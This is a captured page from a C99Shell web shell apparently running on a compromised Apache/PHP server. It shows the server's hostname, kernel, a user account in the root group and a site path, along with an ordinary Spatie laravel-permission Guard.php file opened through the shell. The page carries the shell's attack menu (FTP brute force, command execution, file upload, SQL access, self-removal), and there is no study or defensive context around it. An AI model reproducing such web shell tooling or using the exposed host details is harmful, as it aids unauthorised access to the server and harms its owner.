!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/spatie/laravel-permission/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Guard.php (1.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission;

use 
Illuminate\Support\Collection;

class 
Guard
{
    
/**
     * return collection of (guard_name) property if exist on class or object
     * otherwise will return collection of guards names that exists in config/auth.php.
     * @param $model
     * @return Collection
     */
    
public static function getNames($model): Collection
    
{
        if (
is_object($model)) {
            if (
\method_exists($model'guardName')) {
                
$guardName $model->guardName();
            } else {
                
$guardName $model->guard_name ?? null;
            }
        }

        if (! isset(
$guardName)) {
            
$class is_object($model) ? get_class($model) : $model;

            
$guardName = (new \ReflectionClass($class))->getDefaultProperties()['guard_name'] ?? null;
        }

        if (
$guardName) {
            return 
collect($guardName);
        }

        return 
collect(config('auth.guards'))
            ->
map(function ($guard) {
                if (! isset(
$guard['provider'])) {
                    return;
                }

                return 
config("auth.providers.{$guard['provider']}.model");
            })
            ->
filter(function ($model) use ($class) {
                return 
$class === $model;
            })
            ->
keys();
    }

    public static function 
getDefaultName($class): string
    
{
        
$default config('auth.defaults.guard');

        return static::
getNames($class)->first() ?: $default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--